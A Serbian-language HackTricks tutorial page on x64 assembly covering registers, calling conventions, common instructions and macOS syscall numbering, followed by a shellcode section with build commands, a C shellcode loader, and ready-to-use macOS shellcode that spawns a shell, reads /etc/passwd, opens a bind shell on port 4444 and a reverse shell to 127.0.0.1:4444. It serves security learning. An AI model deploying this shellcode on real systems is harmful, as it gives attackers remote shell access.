Introduction to x64

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Ako želite da vidite svoju kompaniju reklamiranu na HackTricks-u ili da preuzmete HackTricks u PDF formatu proverite PLANOVE ZA PRIJAVU!
Nabavite zvanični PEASS & HackTricks swag
Otkrijte Porodicu PEASS, našu kolekciju ekskluzivnih NFT-ova
Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitteru 🐦 @carlospolopm.
Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.

Uvod u x64

x64, poznat i kao x86-64, je arhitektura procesora od 64 bita koja se uglavnom koristi u desktop i serverskom računarstvu. Potiče od x86 arhitekture proizvedene od strane Intela, a kasnije je usvojena od strane AMD-a pod imenom AMD64, i danas je dominantna arhitektura u ličnim računarima i serverima.

Registri

x64 proširuje x86 arhitekturu, uključujući 16 registara opšte namene označenih kao rax, rbx, rcx, rdx, rbp, rsp, rsi, rdi, i r8 do r15. Svaki od njih može čuvati vrednost od 64 bita (8 bajtova). Ovi registri takođe imaju 32-bitne, 16-bitne i 8-bitne pod-registre radi kompatibilnosti i specifičnih zadataka.

rax - Tradicionalno se koristi za vrednosti povratka iz funkcija.
rbx - Često se koristi kao bazni registar za operacije sa memorijom.
rcx - Obično se koristi za brojače petlji.
rdx - Koristi se u različitim ulogama uključujući proširene aritmetičke operacije.
rbp - Bazni pokazivač za okvir steka.
rsp - Pokazivač steka, prati vrh steka.
rsi i rdi - Koriste se za izvore i odredišta indeksa u string/memorijskim operacijama.
r8 do r15 - Dodatni registri opšte namene uvedeni u x64.

Konvencija pozivanja

Konvencija pozivanja u x64 varira između operativnih sistema. Na primer:

Windows: Prva četiri parametra se prosleđuju u registrima rcx, rdx, r8, i r9. Dodatni parametri se guraju na stek. Vrednost povratka je u rax.
System V (često korišćen u UNIX-sličnim sistemima): Prva šest celobrojnih ili pokazivačkih parametara se prosleđuju u registrima rdi, rsi, rdx, rcx, r8, i r9. Vrednost povratka je takođe u rax.

Ako funkcija ima više od šest ulaza, ostali će biti prosleđeni na stek. RSP, pokazivač steka, mora biti poravnan na 16 bajtova, što znači da adresa na koju pokazuje mora biti deljiva sa 16 pre bilo kog poziva. To znači da obično moramo da se pobrinemo da je RSP pravilno poravnan u našem shell kodu pre nego što pozovemo funkciju. Međutim, u praksi, sistemski pozivi često funkcionišu čak i ako ovaj zahtev nije ispunjen.

Konvencija pozivanja u Swift-u

Swift ima svoju konvenciju pozivanja koja se može pronaći na https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64

Uobičajene instrukcije

x64 instrukcije imaju bogat set, održavajući kompatibilnost sa ranijim x86 instrukcijama i uvodeći nove.

mov: Premeštanje vrednosti iz jednog registra ili lokacije u memoriji u drugi.
Primer: mov rax, rbx — Premešta vrednost iz rbx u rax.
push i pop: Guranje ili izvlačenje vrednosti sa/na stek.
Primer: push rax — Gura vrednost iz rax na stek.
Primer: pop rax — Izvlači vrh steka u rax.
add i sub: Operacije sabiranja i oduzimanja.
Primer: add rax, rcx — Sabira vrednosti u rax i rcx čuvajući rezultat u rax.
mul i div: Operacije množenja i deljenja. Napomena: ove imaju specifična ponašanja u vezi sa korišćenjem operanada.
call i ret: Koriste se za pozivanje i vraćanje iz funkcija.
int: Koristi se za pokretanje softverskog prekida. Na primer, int 0x80 se koristio za sistemski poziv u 32-bitnom x86 Linux-u.
cmp: Upoređuje dve vrednosti i postavlja zastave CPU-a na osnovu rezultata.
Primer: cmp rax, rdx — Upoređuje rax sa rdx.
je, jne, jl, jge, ...: Uslovne skok instrukcije koje menjaju tok kontrole na osnovu rezultata prethodnog cmp ili testa.
Primer: Nakon cmp rax, rdx instrukcije, je label — Skoči na label ako je rax jednak rdx.
syscall: Koristi se za sistemski poziv u nekim x64 sistemima (kao što su moderni Unix sistemi).
sysenter: Optimizovana instrukcija za sistemski poziv na nekim platformama.

Prolog funkcije

Guranje starog baznog pokazivača: push rbp (čuva bazni pokazivač pozivaoca)
Premeštanje trenutnog pokazivača steka u bazni pokazivač: mov rbp, rsp (postavlja novi bazni pokazivač za trenutnu funkciju)
Alokacija prostora na steku za lokalne promenljive: sub rsp, <veličina> (gde je <veličina> broj bajtova potrebnih)

Epilog funkcije

Premeštanje trenutnog baznog pokazivača u pokazivač steka: mov rsp, rbp (dealocira lokalne promenljive)
Izvlačenje starog baznog pokazivača sa steka: pop rbp (vraća bazni pokazivač pozivaoca)
Povratak: ret (vraća kontrolu pozivaocu)

macOS

syscalls

Postoje različite klase syscalls, možete ih pronaći ovde: ovde:

#define SYSCALL_CLASS_NONE	0	/* Invalid */
#define SYSCALL_CLASS_MACH	1	/* Mach */
#define SYSCALL_CLASS_UNIX	2	/* Unix/BSD */
#define SYSCALL_CLASS_MDEP	3	/* Machine-dependent */
#define SYSCALL_CLASS_DIAG	4	/* Diagnostics */
#define SYSCALL_CLASS_IPC	5	/* Mach IPC */

Zatim, možete pronaći broj svakog sistemskog poziva na ovom linku:

0	AUE_NULL	ALL	{ int nosys(void); }   { indirect syscall }
1	AUE_EXIT	ALL	{ void exit(int rval); }
2	AUE_FORK	ALL	{ int fork(void); }
3	AUE_NULL	ALL	{ user_ssize_t read(int fd, user_addr_t cbuf, user_size_t nbyte); }
4	AUE_NULL	ALL	{ user_ssize_t write(int fd, user_addr_t cbuf, user_size_t nbyte); }
5	AUE_OPEN_RWTC	ALL	{ int open(user_addr_t path, int flags, int mode); }
6	AUE_CLOSE	ALL	{ int close(int fd); }
7	AUE_WAIT4	ALL	{ int wait4(int pid, user_addr_t status, int options, user_addr_t rusage); }
8	AUE_NULL	ALL	{ int nosys(void); }   { old creat }
9	AUE_LINK	ALL	{ int link(user_addr_t path, user_addr_t link); }
10	AUE_UNLINK	ALL	{ int unlink(user_addr_t path); }
11	AUE_NULL	ALL	{ int nosys(void); }   { old execv }
12	AUE_CHDIR	ALL	{ int chdir(user_addr_t path); }
[...]

Dakle, da biste pozvali open sistemski poziv (5) iz Unix/BSD klase, morate dodati: 0x2000000

Dakle, broj sistemskog poziva za pozivanje open bio bi 0x2000005

Shellkodovi

Za kompajliranje:

nasm -f macho64 shell.asm -o shell.o
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib

Za izdvajanje bajtova:

# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
for c in $(objdump -d "shell.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done

# Another option
otool -t shell.o | grep 00 | cut -f2 -d$'\t' | sed 's/ /\\x/g' | sed 's/^/\\x/g' | sed 's/\\x$//g'

C kod za testiranje shell koda

```c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #include #include #include #include

int (*sc)();

char shellcode[] = "";

int main(int argc, char **argv) { printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));

void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);

if (ptr == MAP_FAILED) { perror("mmap"); exit(-1); } printf("[+] SUCCESS: mmap\n"); printf(" |-> Return = %p\n", ptr);

void *dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf("[+] SUCCESS: memcpy\n"); printf(" |-> Return = %p\n", dst);

int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);

if (status == -1) { perror("mprotect"); exit(-1); } printf("[+] SUCCESS: mprotect\n"); printf(" |-> Return = %d\n", status);

printf("[>] Trying to execute shellcode...\n");

sc = ptr; sc();

return 0; }

</details>

#### Shell

Preuzeto sa [**ovde**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) i objašnjeno.

<div data-gb-custom-block data-tag="tabs">

<div data-gb-custom-block data-tag="tab" data-title='sa adr'>

```armasm
bits 64
global _main
_main:
call    r_cmd64
db '/bin/zsh', 0
r_cmd64:                      ; the call placed a pointer to db (argv[2])
pop     rdi               ; arg1 from the stack placed by the call to l_cmd64
xor     rdx, rdx          ; store null arg3
push    59                ; put 59 on the stack (execve syscall)
pop     rax               ; pop it to RAX
bts     rax, 25           ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

bits 64
global _main

_main:
xor     rdx, rdx          ; zero our RDX
push    rdx               ; push NULL string terminator
mov     rbx, '/bin/zsh'   ; move the path into RBX
push    rbx               ; push the path, to the stack
mov     rdi, rsp          ; store the stack pointer in RDI (arg1)
push    59                ; put 59 on the stack (execve syscall)
pop     rax               ; pop it to RAX
bts     rax, 25           ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

Čitanje pomoću cat

Cilj je izvršiti execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL), pa je drugi argument (x1) niz parametara (što u memoriji znači stek adresa).

bits 64
section .text
global _main

_main:
; Prepare the arguments for the execve syscall
sub rsp, 40         ; Allocate space on the stack similar to `sub sp, sp, #48`

lea rdi, [rel cat_path]   ; rdi will hold the address of "/bin/cat"
lea rsi, [rel passwd_path] ; rsi will hold the address of "/etc/passwd"

; Create inside the stack the array of args: ["/bin/cat", "/etc/passwd"]
push rsi   ; Add "/etc/passwd" to the stack (arg0)
push rdi   ; Add "/bin/cat" to the stack (arg1)

; Set in the 2nd argument of exec the addr of the array
mov rsi, rsp    ; argv=rsp - store RSP's value in RSI

xor rdx, rdx    ; Clear rdx to hold NULL (no environment variables)

push    59      ; put 59 on the stack (execve syscall)
pop     rax     ; pop it to RAX
bts     rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall         ; Make the syscall

section .data
cat_path:      db "/bin/cat", 0
passwd_path:   db "/etc/passwd", 0

Pozivanje komande sa sh

bits 64
section .text
global _main

_main:
; Prepare the arguments for the execve syscall
sub rsp, 32           ; Create space on the stack

; Argument array
lea rdi, [rel touch_command]
push rdi                      ; push &"touch /tmp/lalala"
lea rdi, [rel sh_c_option]
push rdi                      ; push &"-c"
lea rdi, [rel sh_path]
push rdi                      ; push &"/bin/sh"

; execve syscall
mov rsi, rsp                  ; rsi = pointer to argument array
xor rdx, rdx                  ; rdx = NULL (no env variables)
push    59                    ; put 59 on the stack (execve syscall)
pop     rax                   ; pop it to RAX
bts     rax, 25               ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

_exit:
xor rdi, rdi                  ; Exit status code 0
push    1                     ; put 1 on the stack (exit syscall)
pop     rax                   ; pop it to RAX
bts     rax, 25               ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

section .data
sh_path:        db "/bin/sh", 0
sh_c_option:    db "-c", 0
touch_command:  db "touch /tmp/lalala", 0

Bind shell

Bind shell sa https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html na portu 4444

section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor  rdi, rdi
mul  rdi
mov  dil, 0x2
xor  rsi, rsi
mov  sil, 0x1
mov  al, 0x2
ror  rax, 0x28
mov  r8, rax
mov  al, 0x61
syscall

; struct sockaddr_in {
;         __uint8_t       sin_len;
;         sa_family_t     sin_family;
;         in_port_t       sin_port;
;         struct  in_addr sin_addr;
;         char            sin_zero[8];
; };
mov  rsi, 0xffffffffa3eefdf0
neg  rsi
push rsi
push rsp
pop  rsi

; bind(host_sockid, &sockaddr, 16)
mov  rdi, rax
xor  dl, 0x10
mov  rax, r8
mov  al, 0x68
syscall

; listen(host_sockid, 2)
xor  rsi, rsi
mov  sil, 0x2
mov  rax, r8
mov  al, 0x6a
syscall

; accept(host_sockid, 0, 0)
xor  rsi, rsi
xor  rdx, rdx
mov  rax, r8
mov  al, 0x1e
syscall

mov rdi, rax
mov sil, 0x3

dup2:
; dup2(client_sockid, 2)
;   -> dup2(client_sockid, 1)
;   -> dup2(client_sockid, 0)
mov  rax, r8
mov  al, 0x5a
sub  sil, 1
syscall
test rsi, rsi
jne  dup2

; execve("//bin/sh", 0, 0)
push rsi
mov  rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop  rdi
mov  rax, r8
mov  al, 0x3b
syscall

Reverse Shell

Obrnuti shell sa https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html. Obrnuti shell ka 127.0.0.1:4444

section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor  rdi, rdi
mul  rdi
mov  dil, 0x2
xor  rsi, rsi
mov  sil, 0x1
mov  al, 0x2
ror  rax, 0x28
mov  r8, rax
mov  al, 0x61
syscall

; struct sockaddr_in {
;         __uint8_t       sin_len;
;         sa_family_t     sin_family;
;         in_port_t       sin_port;
;         struct  in_addr sin_addr;
;         char            sin_zero[8];
; };
mov  rsi, 0xfeffff80a3eefdf0
neg  rsi
push rsi
push rsp
pop  rsi

; connect(sockid, &sockaddr, 16)
mov  rdi, rax
xor  dl, 0x10
mov  rax, r8
mov  al, 0x62
syscall

xor rsi, rsi
mov sil, 0x3

dup2:
; dup2(sockid, 2)
;   -> dup2(sockid, 1)
;   -> dup2(sockid, 0)
mov  rax, r8
mov  al, 0x5a
sub  sil, 1
syscall
test rsi, rsi
jne  dup2

; execve("//bin/sh", 0, 0)
push rsi
mov  rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop  rdi
xor  rdx, rdx
mov  rax, r8
mov  al, 0x3b
syscall

PreviousmacOS Apps - Inspecting, debugging and Fuzzing NextIntroduction to ARM64v8

Last updated 19 days ago